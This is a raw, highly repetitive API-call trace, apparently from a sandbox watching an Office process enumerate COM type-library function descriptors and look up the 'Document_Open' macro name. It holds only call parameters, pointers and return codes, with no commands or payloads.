ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.520] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xa9, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.520] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.520] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xaa, ppFuncDesc=0x127328, pDummy=0x140 | out: ppFuncDesc=0x127328, pDummy=0x140) returned 0x0 [0053.520] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.520] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xab, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.520] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.520] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xac, ppFuncDesc=0x127328, pDummy=0x140 | out: ppFuncDesc=0x127328, pDummy=0x140) returned 0x0 [0053.520] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.520] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xad, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.520] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.520] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xae, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.520] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.520] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xaf, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.520] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.520] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xb0, ppFuncDesc=0x127328, pDummy=0x140 | out: ppFuncDesc=0x127328, pDummy=0x140) returned 0x0 [0053.520] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.520] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xb1, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.520] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.520] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xb2, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.520] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.520] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xb3, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.520] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.520] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xb4, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.520] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.520] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xb5, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.520] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.520] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xb6, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.520] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.520] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xb7, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.520] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.520] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xb8, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.520] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.521] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xb9, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.521] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.521] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xba, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.521] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.521] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xbb, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.521] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.521] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xbc, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.521] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.521] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xbd, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.521] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.521] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xbe, ppFuncDesc=0x127328, pDummy=0x140 | out: ppFuncDesc=0x127328, pDummy=0x140) returned 0x0 [0053.521] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.521] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xbf, ppFuncDesc=0x127328, pDummy=0x140 | out: ppFuncDesc=0x127328, pDummy=0x140) returned 0x0 [0053.521] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.521] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xc0, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.521] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.521] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xc1, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.521] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.521] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xc2, ppFuncDesc=0x127328, pDummy=0x140 | out: ppFuncDesc=0x127328, pDummy=0x140) returned 0x0 [0053.521] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.521] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xc3, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.521] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.521] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xc4, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.521] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.521] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xc5, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.521] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.521] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xc6, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.521] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.521] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xc7, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.521] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.521] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xc8, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.521] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.521] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xc9, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.521] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.521] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xca, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.521] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.521] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xcb, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.521] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.521] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xcc, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.521] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.521] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xcd, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.521] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.521] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xce, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.521] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.521] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xcf, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.521] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.521] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xd0, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.521] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.521] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xd1, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.522] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.522] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xd2, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.522] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.522] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xd3, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.522] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.522] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xd4, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.522] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.522] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xd5, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.522] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.522] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xd6, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.522] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.522] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xd7, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.522] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.522] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xd8, ppFuncDesc=0x127328, pDummy=0x140 | out: ppFuncDesc=0x127328, pDummy=0x140) returned 0x0 [0053.522] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.522] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xd9, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.522] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.522] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xda, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.522] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.522] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xdb, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.522] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.522] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xdc, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.522] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.522] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xdd, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.522] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.522] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xde, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.522] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.522] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xdf, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.522] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.522] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xe0, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.522] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.522] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xe1, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.522] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.522] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xe2, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.522] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.522] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xe3, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.522] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.522] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xe4, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.522] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.522] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xe5, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.522] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.522] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xe6, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.522] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.522] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xe7, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.522] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.522] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xe8, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.522] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.522] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xe9, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.523] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.523] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xea, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.523] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.523] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xeb, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.523] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.523] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xec, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.523] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.523] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xed, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.523] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.523] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xee, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.523] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.523] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xef, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.523] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.523] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xf0, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.523] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.523] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xf1, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.523] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.523] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xf2, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.523] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.523] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xf3, ppFuncDesc=0x127328, pDummy=0x140 | out: ppFuncDesc=0x127328, pDummy=0x140) returned 0x0 [0053.523] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.523] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xf4, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.523] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.523] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xf5, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.523] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.523] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xf6, ppFuncDesc=0x127328, pDummy=0x140 | out: ppFuncDesc=0x127328, pDummy=0x140) returned 0x0 [0053.523] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.523] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xf7, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.523] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.523] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xf8, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.523] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.523] ITypeInfo2:GetCustData (in: This=0x68568f0, GUID=0x7fee4b3d970*(Data1=0xba65d790, Data2=0x9301, Data3=0x11cf, Data4=([0]=0x8d, [1]=0x22, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x37, [6]=0x53, [7]=0x84)), pVarVal=0x127358 | out: pVarVal=0x127358*(varType=0x0, wReserved1=0x0, wReserved2=0x1b8, wReserved3=0x0, varVal1=0x0, varVal2=0x800000000)) returned 0x0 [0053.523] IUnknown:Release (This=0x68568f0) returned 0x2 [0053.523] ITypeInfo:RemoteGetDocumentation (in: This=0x68568f0, memid=-1, refPtrFlags=0x127350, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0053.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Document", cchWideChar=9, lpMultiByteStr=0x127260, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Document", lpUsedDefaultChar=0x0) returned 9 [0053.523] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Document") returned 0x10d36a [0053.523] IMalloc:Realloc (This=0x7feffc15380, pv=0x6a50870, cb=0x62) returned 0x69a0c00 [0053.524] IUnknown:AddRef (This=0x6856a50) returned 0x6 [0053.524] IUnknown:Release (This=0x68569a0) returned 0x1 [0053.524] IUnknown:Release (This=0x6856a50) returned 0x5 [0053.524] IUnknown:Release (This=0x68568f0) returned 0x1 [0053.524] ITypeInfo:RemoteGetDocumentation (in: This=0x6856a50, memid=5, refPtrFlags=0x1276e0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x2 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x2) returned 0x0 [0053.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Open", cchWideChar=5, lpMultiByteStr=0x127730, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Open", lpUsedDefaultChar=0x0) returned 5 [0053.524] _mbscpy_s (in: _Dst=0x127580, _DstSizeInBytes=0xe, _Src=0x3c02fca | out: _Dst=0x127580) returned 0x0 [0053.524] _mbscpy_s (in: _Dst=0x127589, _DstSizeInBytes=0x5, _Src=0x127730 | out: _Dst=0x127589) returned 0x0 [0053.524] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Document_Open") returned 0x1089c1 [0053.524] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0x6a2c890 [0053.524] IMalloc:Free (This=0x7feffc15380, pv=0x6a2c890) [0053.524] IUnknown:Release (This=0x68568f0) returned 0x1 [0053.524] IUnknown:QueryInterface (in: This=0x68568f0, riid=0x7fee4b340f0*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x127468 | out: ppvObject=0x127468*=0x68568f0) returned 0x0 [0053.524] ITypeInfo2:GetCustData (in: This=0x68568f0, GUID=0x7fee4b3d970*(Data1=0xba65d790, Data2=0x9301, Data3=0x11cf, Data4=([0]=0x8d, [1]=0x22, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x37, [6]=0x53, [7]=0x84)), pVarVal=0x127478 | out: pVarVal=0x127478*(varType=0x0, wReserved1=0x12, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x800000000)) returned 0x0 [0053.524] IUnknown:Release (This=0x68568f0) returned 0x2 [0053.524] ITypeInfo:RemoteGetDocumentation (in: This=0x68568f0, memid=-1, refPtrFlags=0x127470, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x127490 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x127490*="") returned 0x0 [0053.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Document", cchWideChar=9, lpMultiByteStr=0x127380, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Document", lpUsedDefaultChar=0x0) returned 9 [0053.524] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Document") returned 0x10d36a [0053.524] ITypeInfo:RemoteGetTypeAttr (in: This=0x68569a0, ppTypeAttr=0x127470, pDummy=0x0 | out: ppTypeAttr=0x127470, pDummy=0x0) returned 0x0 [0053.524] ITypeInfo:LocalReleaseTypeAttr (This=0x68569a0) returned 0x0 [0053.525] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x0, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.525] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.525] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x1, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.525] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.525] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x2, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.525] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.525] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x3, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.525] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.525] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x4, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.525] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.525] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x5, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.525] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.525] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x6, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.525] 